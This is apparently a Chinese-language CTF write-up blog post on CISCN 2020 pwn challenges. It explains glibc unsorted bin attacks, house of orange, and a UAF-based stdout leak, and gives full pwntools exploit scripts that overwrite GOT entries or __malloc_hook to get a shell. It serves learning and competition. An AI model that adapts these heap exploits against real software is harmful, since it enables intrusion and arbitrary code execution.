ciscn_2020

字数统计: 2.5k字   |   阅读时长≈ 11分

2020 ciscn比赛WP，慢慢学习吧。感觉对很多题还是不熟，对常见的堆利用做得太慢，知道漏洞了但是想很久才能知道其利用方法。说明还是对堆理解不够，以后也渐渐的学着去看 glibc 的源码吧，感觉理解更深刻。

Unsorted Bin Attack

Unsorted Bin Attack被利用的前提是控制 Unsorted Bin Chunk 的bk 指针。

Unsorted Bin Attack 可以达到的效果是实现修改任意地址为一个较大的数值

来源

  1. 当一个较大的 chunk 被分割成两半后，如果剩下的部分大于 MINSIZE，就会被放到 Unsorted bin中；
  2. 释放一个不属于 fast bin的 chunk，并且该 chunk 不和 top chunk 紧邻时，该 chunk 会被首先放到 unsorted bin中。
  3. 当进行 malloc_consolidate时，可能会把合并后的 chunk 放到 unsorted bin中，如果不是 top chunk 近邻的话。

基本使用情况

1， Unsorted Bin在使用的过程中，采用的遍历顺序是 FIFO，即插入的时候插入到 unsorted bin 的头部，取出的时候从链表尾获取

  1. 在程序 malloc时，如果在fastbin，small bin中找不到对应大小的 chunk，就会尝试从 unsorted bin 中寻找 chunk。如果取出来的 chunk大小刚好满足，就会直接返回给用户，否则就会把这些 chunk 插入到对应的 bin 中。

原理

在 malloc.c 中 _int_malloc 代码有：当将一个 unsorted bin 取出的时候，会将 bck->fd 的位置写入 本 unsorted bin 的位置。

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
  malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

即，如果我们控制了 bk 的值，就能将 unsorted_chunks (av) 写到任意地址。

hhb note_three

house of orange知识补充

house of orange 的攻击方法，可以直接参考wiki ：https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_orange-zh/。

这里我只补充，为什么修改了top chunk的fakesize 为0xb0，而申请0x90的chunk，就会将 此时的top chunk放入 unsorted bin中。按照house of orange原理，我们将 topchunk 的size改小后，只要申请一个 大于此时top chunk的size的块，_int_malloc就会执行 将topchunk放入到 unsorted bin中，并将我们申请的块放到新分配的topchunk。

看 libc的源码，我们可以看到 _int_malloc 在分配块时，有7个步骤：

  1. 从 fastbin 中查找是否有合适的块；
  2. 从 small bin中查找；
  3. 从large bin中查找，将fast bin合并到 unsortedbin中。然后从 small bin 和 large bin中分配。
  4. 从 Unsortedbin 中查找；
  5. 从 top chunk分配，并更新top chunk的值；
  6. 如果top chunk不够，则将fastbin 进行合并，再分配。
  7. 将 当前 top chunk放入unsortedbin 后，再执行 sysmalloc系统中分配。

而在 sysmalloc中，如果再次分配 top chunk。其在将当前top chunk放入 unsortedbin时，会执行如下操作。会先判断当前top chunk的old_size是否大于MINSIZE，如果大于就将当前 top chunk分成两块，一块为fencepost大小为MINSIZE，另一块大小为 old_size-MINSIZE并且执行 _int_free放入 unsortedbin中。

image-20200825180830749

所以，这里改topchunk 的 fakesize为 0xb0，最终申请的chunk 大小为 0xa0，加上 0x20 的 fencepost，所以此时的 topchunk 是不够的。满足将 现在 top chunk放入 unsorted bin的条件。

漏洞分析

image-20200826142919496

漏洞点也是在 edit() 函数，可以实现堆溢出。没有 free 函数。

这道题，需要先利用 house of orange，在 bss 上构造一个伪造的 usnorted bin chunk。然后分配该 fake chunk，然后通过修改该 fake chunk 可以修改 note_list 数组，实现任意地址修改。然后先修改 aoti_got 为 printf_got 泄露libc 地址，在修改为 system 地址 getshell。

难点在于，如何 在 bss 上伪造一个chunk 并分配。当我们将 top chunk 放到 unsorted bin中后，我们可以先申请一块小的chunk。在通过堆溢出修改该chunk 的下一块空闲的unsorted bin，将该chunk 的bk 指针设为 note_list-0x10，然后再申请该chunk。则此时 note_list 的值被修改为 main_arena+88。main_arena+88 表示 top chunk，我们修改main_arena+88 的值为 一个fake_top_chunk，这个值我现在有点没搞懂是否有条件，但目前还没要求。设置 main_aerna+90 last_remainder 为 0，这样可以直接进入分配 unsorted bin，绕过 last remainder分配。然后设置 main_aerna+98 为 我们伪造的fake chunk 的头指针，这里就是unsortde bin 的 fd 和bk指针。

我们伪造的 fake chunk 地址为 0x602130，因为这个地址 我们刚好可以在这里 伪造 chunk的头部，和修改到 0x6021c0 的值。十分巧妙。

后面就是常规的修改 atoi_got 为printf_plt ，先泄露libc地址。然后这里修改完之后，有个注意点是 以后执行到 atoi 函数返回的其实是你输入的字符数，所以我们也把 0x6021d0 给覆盖为 atoi_got，是因为后面 printf 最小都会返回 1，只能edit chunk1。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
context.update(arch='amd64',os='linux',log_level='debug')

debug = 1
if debug:
    p = process('./note_three')
    elf = ELF('./note_three')
    libc = ELF('./libc.so.6')
else:
    libc = ('./libc.so.6')

note_list = 0x6021c0
fake_chunk = 0x602130
atoi_got = elf.got['atoi']
printf_plt = elf.plt['printf']

def New(idx,size,content):
    p.recvuntil('choice>> ')
    p.sendline('1')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("size: ")
    p.sendline(str(size))
    p.recvuntil("content: ")
    p.send(content)

def Edit(idx,content):
    p.recvuntil('choice>> ')
    p.sendline('2')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("content: ")
    p.send(content)

def pwn():
    payload = 'a'*0x10
    New(0, 0x90, payload)
    payload = 'a'*0x10 + p64(0) + p64(0xfe1)
    Edit(0, payload)

    for i in range(24):
        New(0, 0x90, 'a'*0x90)
    
    #make top chunk size as 0xb0
    New(1, 0x90, '0'*0x20)
    #make top chunk into unsorted bin
    New(2, 0x90, '1'*0x90)
    #get unsorted bin
    New(0, 0x90, 'a'*0x10)
    #change the next unsorted bin bk
    payload = 'a'*0x10 + p64(0) + p64(0x71)+ p64(0) +p64(note_list-0x10)
    Edit(0, payload)
    #make note_list as main_arena+88
    New(1, 0x68, 'a'*0x60)
    #change the main_arena addr as bss addr，cover ub fd and bk as fake_chunk
    payload = p64(0x602040) + p64(0) + p64(fake_chunk) + p64(fake_chunk)
    Edit(0, payload)
    #malloc to bss
    New(2, 0x90, 'b'*0x78+ p64(0x91) + p64(0x6021a0) + p64(0x6021a0))
    payload = 'c'*0x80 + p64(note_list) + p64(0x100) 
    Edit(2, payload)

    payload = p64(atoi_got) + p64(0x100) + p64(atoi_got) + p64(0x100)
    Edit(0, payload)

    payload = p64(printf_plt)
    Edit(0, payload)
    p.recvuntil('choice>> ')
    payload = '%9$pbbb'
    p.send(payload)

    data = p.recvuntil('bbb')[:-3]
    print 'data',data
    puts_addr = int(data,16) - 362
    print 'puts_addr:',hex(puts_addr)

    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    print 'libc_base:',hex(libc_base),'system_addr:',hex(system_addr)
    
    payload = p64(system_addr)
    #Edit(0, payload)
    p.recvuntil('choice>> ')
    p.sendline('2')
    p.recvuntil("idx: ")
    p.send('0')
    p.recvuntil("content: ")
    p.send(payload)

    p.recvuntil('choice>> ')
    p.sendline('/bin/sh\x00')

    p.interactive()

pwn()

nofree

上面做了 hhb 的 note_three ，那么这道题就真的一摸一样了。尝试一下其他做法吧。

漏洞分析

image-20200821224028002

漏洞点，在edit函数里 输入新的content时，是按照原来的size 读入的。但是原有的 chunk是最开始通过strdup 函数申请的，其大小是与输入的大小一致。所以，我们在 edit时就存在 堆溢出漏洞。

然后这道题 还是先利用 house of orange 的思想，将 top chunk 改小。不过这次我们直接将 top chunk放入 fast bin中。然后修改 fast bin 的 fd 指针 指向我们的 fake chunk ，实现分配堆块到 bss 上。

还有这里是直接修改的 strdup 的值。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context.update(arch='amd64',os='linux',log_level='debug')

debug = 1
if debug:
	p = process('./pwn')
	elf = ELF('./pwn')
	libc = ELF('./libc.so.6')
else:
	libc = ELF('./libc.so.6')

atoi_got = elf.got['atoi']
printf_plt = elf.plt['printf']
strdup_got = elf.got['strdup']
def new(idx, size, content):
    p.recvuntil('choice>> ')
    p.sendline('1')
    p.recvuntil('idx: ')
    p.sendline(str(idx))
    p.recvuntil('size: ')
    p.sendline(str(size))
    p.recvuntil('content: ')
    p.send(content)

def edit(idx, content):
    p.recvuntil('choice>> ')
    p.sendline('2')
    p.recvuntil('idx: ')
    p.sendline(str(idx)) 
    p.recvuntil('content: ') 
    p.send(content)

def pwn():
	new(0, 0x90, 'a'*0x10)
	payload = 'a'*0x10+p64(0)+p64(0xfe1)
	edit(0, payload)

	for i in range(24):
		new(0, 0x90, 'a'*0x90)

	new(1, 0x90, 'b'*0x70)
	new(2, 0x90, 'c'*0x90)

	payload = 'a'*0x70 + p64(0x0) + p64(0x41) + p64(0x6021c0) + p64(0x6021c0)
	edit(1, payload)
	new(0, 0x41, 'd'*0x30)
	new(0, 0x41, 'e'*0x30)	

	payload = p64(strdup_got)+p64(0x100)+p64(strdup_got)+p64(0x100)
	edit(0, payload)
	payload = p64(printf_plt)
	edit(1, payload)
	gdb.attach(p, 'b *0x40099e')
	new(1, 0x90, '%17$pbbb')
	data = p.recvuntil('bbb')[:-3]
	libc_base = int(data, 16) - libc.symbols['__libc_start_main'] - 240
	print data, hex(libc_base)
	system_addr = libc_base + libc.symbols['system']
	print 'system_addr:',hex(system_addr)

	edit(2, p64(system_addr))
	new(1, 0x90, '/bin/sh\x00')
	p.interactive()

pwn()

maj

程序分析

这道题中间加了很多混淆，然后大概跑了一下，发现和程序主题逻辑没有任何关系，也就不用管。

然后程序漏洞在 delete() 函数中，free 堆块指针后 并没有将 堆块指针清空和 将size 置为0。也就是存在 UAF 漏洞。

然后程序开了 Canary、NX 和 Full RELRO，也就是我们不能通过覆盖 Got表地址来 getshell。

然后程序中没有输出的地方，也就是我们得想办法泄露 libc 地址。

image-20200916090825801

delete 函数存在 UAF漏洞，释放堆块后，未将堆块指针置为 NULL；

漏洞分析

这道题的思路，应该是利用UAF漏洞在stdout结构体上伪造一个堆块，然后修改stdout结构体，泄露libc地址。

随后修改 malloc_hook 为 one_gadget 地址来 getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
gadgets = [0x45226,0x4527a,0xf0364,0xf1207]

def new(size, content):
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('please answer the question\n')
    p.sendline(str(80))
    p.recvuntil('______?')
    p.sendline(str(size))
    p.recvuntil('start_the_game,yes_or_no?')
    p.sendline(content)

def delete(idx):
    p.recvuntil('>> ')
    p.sendline('2')
    p.recvuntil('index ?')
    p.sendline(str(idx))

def show():
    p.recvuntil('>> ')
    p.sendline('3')

def edit(idx, content):
    p.recvuntil('>> ')
    p.sendline('4')
    p.recvuntil('index ?')
    p.sendline(str(idx))
    p.recvuntil('__new_content ?')
    p.send(content)

def pwn():
    new(0xe0, '0')
    new(0x60, '1')
    new(0x60, '2')
    new(0x60, '3')

    delete(0)
    new(0x60, '4')
    edit(0, '\xdd\x25')
    delete(1)
    delete(2)
    edit(2, '\x00')

    new(0x60, '5')
    new(0x60, '6')
    new(0x60, '7')
    payload = 'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00'
    edit(7, payload)

    libc_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    print 'libc_addr:',hex(libc_addr)
    stdout_addr = libc_addr+0x20
    libc_base = stdout_addr - libc.sym['_IO_2_1_stdout_']
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    fake_chunk = malloc_hook - 0x23
    gadget = gadgets[3] + libc_base
    print 'libc_base:',hex(libc_base)
    print 'malloc_hook:',hex(malloc_hook)
    print 'fake_chunk:',hex(fake_chunk)
    print 'gadget:',hex(gadget)

    new(0x60, '8')
    new(0x60, '9')
    new(0x60, '10')
    delete(9)
    delete(10)
    edit(10, p64(fake_chunk))
    #gdb.attach(p)
    new(0x60, '11')
    
    payload = 'a'*0x13 + p64(gadget)
    new(0x60, payload)
    #gdb.attach(p)
    edit(12, payload)
    #new(0x60, '12')
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('please answer the question\n')
    p.sendline(str(80))
    p.recvuntil('______?')
    p.sendline(str(0x60))
    p.interactive()
i = 0
while 1:
    i += 1
    log.warn(str(i))
    try:
        pwn()
    except Exception:
        p.close()
        p = process('./pwn')
        continue

Easy-box

程序总体和 上一题类似，再次不再多述。

wow

程序分析

该题目，属于VM Pwn类型，后续会做一个专题学习一下 VM Pwn，先挖个坑。

利用分析

EXP

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing